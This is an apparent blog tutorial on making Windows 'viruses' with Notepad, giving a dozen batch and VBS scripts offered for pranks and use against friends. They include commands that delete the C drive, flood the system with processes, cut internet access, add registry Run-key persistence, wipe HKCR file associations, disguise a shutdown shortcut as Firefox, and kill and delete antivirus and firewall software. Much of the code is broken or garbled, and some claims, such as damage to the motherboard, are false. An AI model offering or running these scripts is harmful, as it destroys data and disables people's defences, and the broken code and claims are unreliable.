How To Create a Virus In Seconds (Notepad virus tricks)

Learn how to create a computer virus in seconds. You might be thinking of creating a computer virus by yourself? No need to worry, now you can know how to create a simple but dangerous Notepad Virus step by step with an explanation. Some of the viruses are very dangerous to use at your own risk.

Today every person is using a computer and almost every one of them knows about a virus. We know every computer user or laptop user has been virus attack maybe once in their life for sure, and we all know what is a virus. As You Know virus is a malicious program that enters into the computer without your permission and can affect your data and operating system or even slow your computer. Well, viruses are of different types as there are Trojan horses, Worms, Spyware, and much more.

Viruses do unwanted tasks like replicating themselves corrupting user files etc.,  so, basically, we are going to create some unwanted scripts, that we can execute in order to destroy or break the system.

You can create a virus within a few seconds, and it is possible with some simple methods that Which I am going to discuss in this article.

So here in this article, I am going to share that how to make a virus in notepad. Let’s get Started

How To Create Computer Virus in Few Seconds

Many people think that their only Coding method this we can Create a Virus but there is nothing like that. The tricks are based on the notepad. Just follow the below steps of the method for creating a virus within a few seconds. Some of These viruses are dangerous and can destroy your computer. Therefore, don’t use this virus for evil purposes.

Before I have to tell you now that some of the viruses are Damaging Code and some of the viruses are irreversible and I mention In Small Bracket

NoteI am not answerable for any damage or error reporting on Your laptop, Try it at your own risk.

Warning: Do not try this on your daily working PC.


1.  Endless Enter (Damaging Code)

This will make the enter button pressed continuously

Open Notepad and Paste the following code into it and save it as repeater.bat or anything *.bat

Set wshShell = wscript.CreateObject(”WScript.Shell”)
wscript.sleep 100
wshshell.sendkeys “~(enter)”

How To Create a Virus
How To Create a Virus

2. Creating a Dangerous Virus (Damaging Code)

Open Notepad and Paste the following code into it and save it as C_Drive_Cleaner_Virus.bat or anything *.bat

@Echo off
Del C: *.* |y

How To Create a Virus
How To Create a Virus

Now when you execute this it will delete the C drive completely, and the operating system of the respective computer will get corrupted, which simply means to say that it destroys your whole C Drive

Note: This method is only for knowledge purposes. This Method is Irreversible Don’t try this on your computer as it will completely format your C drive.

Also, Read This Article 10 Tips and Tricks to Improve Gaming Performance on Your Laptop Everybody want to know

3. Creating a Harmless CD-ROM Virus (Repairable)

Open Notepad and Paste the following code into it and save it as CD-ROM.vbs or anything *.vbs

Set oWMP = CreateObject(“WMPlayer.OCX.7”)
Set colCDROMs = oWMP.cdromCollection
if colCDROMs.Count >= 1 then
For i = 0 to colCDROMs.Count – 1
For i = 0 to colCDROMs.Count – 1
End If
wscript.sleep 5000
How To Create a Virus
How To Create a Virus

When you Double Click on this file, Your CD/DVD drives will get continuously ejected.

How To Repair it

To stop this virus, you need to open Task Manager and select Details, and end the wscript.exe file.

How To Create a Virus
How To Create a Virus


4.Endless Notepads (Damaging Code)

This code will pop up Repeatedly notepads on the computer until your computer freezes and crashes!

Open Notepad, Paste this following code into it, and save it as crash.bat or anything *.bat

@ECHO off
START %SystemRoot%\system32\notepad.exe
GOTO top
How To Create a Virus
How To Create a Virus

How to Repair it

Simply Restart your Computer

5.Create a Virus To Test Your Antivirus Security virus (Repairable)

It is a Fake Virus only use to check the security level of the antivirus

Open notepad, paste the given code, and simply save the file as “EICAR.COM”

How To Create a Virus
How To Create a Virus

If your is active at that time, then your antivirus program will simply remove this file in on the spot.


This virus does not damage your computer this virus is used to check the security level of your antivirus or not else do.

6. Virus To Stop Someone’s Internet Access (Repairable)

This notepad virus scripts to prank your friends. This virus stops anyone’s internet access by simply run it. You need to type
the following code in the notepad and Save it as Virus.bat or Anything *.bat

@Echo off
Ipconfig /release
How To Create a Virus
How To Create a Virus

Now sent it to your friends. The IP address will be lost, and therefore they won’t be able to fix it.

How To Repair It

If you want to fix it. Simply type in IPconfig /renew.

Also, Read This Article USB Pendrives Amazing Things You Can Do (USB Cool Tricks)

7. App Bomber (Damaging Code)

Note: This type of virus can damage your Motherboard

This is another dangerous virus that can freeze the computer or in another way stuck your computer in no-time. This virus code will open different applications repeatedly which will force your computer to freeze. This virus can also damage your motherboard, so try this at your own risk.

Open Notepad and Paste the following code into it and save it as repeater.bat or anything *.bat

@echo off
start winword
start mspaint
start notepad
start write
start cmd
start explorer
start control
start calc
goto x

How To Create a Virus
How To Create a Virus

You can add your own application in the above-given code to open it.

8. Creating a Matrix Type screen (Harmless code)

Well, it’s not a virus. It is a simple notepad trick or prank trick that will let you see the string of green characters dropping down appearing randomly like a matrix or like hacking. It has nothing to do or not damage you with your computer registry, batch, etc. You can use this trick to prank your friend with this code because the screen looks like a virus affected.

Open Notepad and type the following code in your Notepad.

@echo off
color 02
echo %random% %random% %random% %random% %random% %random% %random% %random% %random% %random%
goto start
How To Create a Virus
How To Create a Virus

Now save the file as Matrix-screen.bat or anything *.bat and click on it and the show begins.

9. Disable Internet Permanently (Damaging Code)

This code will disable anyone’s internet connection PERMANENTLY.

Open Notepad and Paste the following code into it and save it as Disable-internet.bat or anything *.bat

echo @echo off>c:windowswimn32.bat
echo break off>c:windowswimn32.bat echo
echo end>c:windowswimn32.batreg add
hkey_local_machinesoftwaremicrosoftwindowscurrentversionrun /v WINDOWsAPI /t reg_sz /d c:windowswimn32.bat /freg add
hkey_current_usersoftwaremicrosoftwindowscurrentversionrun /v CONTROLexit /t reg_sz /d c:windowswimn32.bat /fecho You Have Been HACKED!

How To Create a Virus
How To Create a Virus

10. Delete Key Registry Files (Damaging Code)

Before trying this notepad virus, you have to know and please keep in mind that this is a dangerous and unrecoverable virus that can cause complete damage to your operating system. Reinstalling Windows is the only way to repair it from this dangerous virus.

START reg delete HKCR/.exe
START reg delete HKCR/.dll
START reg delete HKCR/*
ECHO Your PC has been crashed.Your Dad.
How To Create a Virus
How To Create a Virus

11.Shutdown virus (Harmless Code)

This type of virus will shut down the computer. Well, this virus is harmless and for the prank, but can cause data loss due to Fore shutdown.

Follow these setup of code to make Shutdown Code

Step 1. Right-click on your desktop blank area and then select the option “Create Shortcut

how to make a virus with notepad
how to make a virus with notepad

Step 2. Now in the pop-up window type,

shutdown –s –t 60 –c ”Virus Detection. Computer Is Shutting Down.
how to make a virus with notepad
how to make a virus with notepad

This computer will be shut down the Computer in 60 Seconds. Instead of 60, you can change the value put what value you want. It represents the time in seconds to shut down the computer.

Step 3. Then click on the Next button and type Firefox. Or whatever you want the name of the file.

Shutdown virus

how to make a virus with notepad
how to make a virus with notepad

Step 4. Then you need to change the icon of the shortcut, choose the icon of FireFox Icon.

how to make a virus with notepad
how to make a virus with notepad

Your virus will look like Google Chrome. You can carry this file in your Flash Drive or Pen drive and can shut down your friends’ computer.

12. Anti Virus Disabler

This Huge code will disable any antivirus installed on the system

@ echo off
rem Permanently Kill Anti-Virus
net stop “Security Center”
netsh firewall set opmode mode=disable
tskill /A av*
tskill /A fire*
tskill /A anti*
tskill /A spy*
tskill /A bullguard
tskill /A PersFw
tskill /A KAV*
tskill /A SAFEWEB
tskill /A spy*
tskill /A bullguard
tskill /A PersFw
tskill /A KAV*
tskill /A SAFEWEB
tskill /A OUTPOST
tskill /A nv*
tskill /A nav*
tskill /A F-*
tskill /A ESAFE
tskill /A cle
tskill /A BLACKICE
tskill /A def*
tskill /A kav
tskill /A kav*
tskill /A avg*
tskill /A ash*
tskill /A aswupdsv
tskill /A ewid*
tskill /A guard*
tskill /A guar*
tskill /A gcasDt*
tskill /A msmp*
tskill /A mcafe*
tskill /A mghtml
tskill /A msiexec
tskill /A outpost
tskill /A isafe
tskill /A zap*cls
tskill /A zauinst
tskill /A upd*
tskill /A zlclien*
tskill /A minilog
tskill /A cc*
tskill /A norton*
tskill /A norton au*
tskill /A ccc*
tskill /A npfmn*
tskill /A loge*
tskill /A nisum*
tskill /A issvc
tskill /A tmp*
tskill /A tmn*
tskill /A pcc*
tskill /A cpd*
tskill /A pop*
tskill /A pav*
tskill /A padmincls
tskill /A panda*
tskill /A avsch*
tskill /A sche*
tskill /A syman*
tskill /A virus*
tskill /A realm*cls
tskill /A sweep*
tskill /A scan*
tskill /A ad-*
tskill /A safe*
tskill /A avas*
tskill /A norm*
tskill /A offg*
del /Q /F C:\Program Files\alwils~1\avast4\*.*
del /Q /F C:\Program Files\Lavasoft\Ad-awa~1\*.exe
del /Q /F C:\Program Files\kasper~1\*.exe
del /Q /F C:\Program Files\trojan~1\*.exe
del /Q /F C:\Program Files\f-prot95\*.dll
del /Q /F C:\Program Files\tbav\*.datcls
del /Q /F C:\Program Files\avpersonal\*.vdf
del /Q /F C:\Program Files\Norton~1\*.cnt
del /Q /F C:\Program Files\Mcafee\*.*
del /Q /F C:\Program Files\Norton~1\Norton~1\Norton~3\*.*
del /Q /F C:\Program Files\Norton~1\Norton~1\speedd~1\*.*
del /Q /F C:\Program Files\Norton~1\Norton~1\*.*
del /Q /F C:\Program Files\Norton~1\*.*
del /Q /F C:\Program Files\avgamsr\*.exe
del /Q /F C:\Program Files\avgamsvr\*.exe
del /Q /F C:\Program Files\avgemc\*.exe
del /Q /F C:\Program Files\avgcc\*.exe
del /Q /F C:\Program Files\avgupsvc\*.exe
del /Q /F C:\Program Files\grisoft
del /Q /F C:\Program Files\nood32krn\*.exe
del /Q /F C:\Program Files\nood32\*.exe
del /Q /F C:\Program Files\nod32
del /Q /F C:\Program Files\nood32
del /Q /F C:\Program Files\kav\*.exe
del /Q /F C:\Program Files\kavmm\*.exe
del /Q /F C:\Program Files\kaspersky\*.*
del /Q /F C:\Program Files\ewidoctrl\*.exe
del /Q /F C:\Program Files\guard\*.exe
del /Q /F C:\Program Files\ewido\*.exe
del /Q /F C:\Program Files\pavprsrv\*.exe
del /Q /F C:\Program Files\pavprot\*.exe
del /Q /F C:\Program Files\avengine\*.exe
del /Q /F C:\Program Files\apvxdwin\*.exe
del /Q /F C:\Program Files\webproxy\*.exe
del /Q /F C:\Program Files\panda

That all. That how To Create a Virus In Seconds. I hope that you understand it well. If you have any doubt or have know any other type virus script then share with us in comment box and also share that article with others.

Abdul Moeez

Abdul Moeez is the founder and content writer of TechGrinch. He writes about Technology, Science, Gadgets, Security, Social Media, Social Networks, Android, Computer, Internet, etc. He is an Experienced Blogger, SEO Expert, Developer & Social Media Expert. .

9 thoughts on “How To Create a Virus In Seconds (Notepad virus tricks)

  • July 6, 2019 at 4:53 pm

    I have really learned new things by means of your web site. One other thing I’d like to say is always that newer pc os’s are inclined to allow more memory to be used, but they likewise demand more ram simply to function. If your computer could not handle more memory and also the newest software package requires that memory increase, it usually is the time to shop for a new PC. Thanks

  • August 24, 2019 at 7:35 pm

    In a few of time i have learned many kinds of tricks thanks

  • September 20, 2019 at 7:18 am

    Awesome article.

  • October 8, 2019 at 11:41 pm

    Wow, superb blog format! How lengthy have you been running a blog for? you make running a blog look easy. The overall look of your site is great, as neatly as the content!

  • January 13, 2020 at 10:14 pm

    Thanks designed for sharing such a pleasant thought, paragraph is fastidious, that’s why I have read it completely

  • February 8, 2020 at 12:42 pm

    I quite like reading an article that can make people think. Also, thank you for allowing for me to comment!

  • February 15, 2020 at 1:30 am

    Very rapidly this site will be famous amid all blogging and
    site-building viewers, due to it’s nice content

  • March 22, 2020 at 7:24 am

    This was a really wonderful article. Many thanks for providing this information.


Leave a Reply

Your email address will not be published. Required fields are marked *

error: Content is protected !!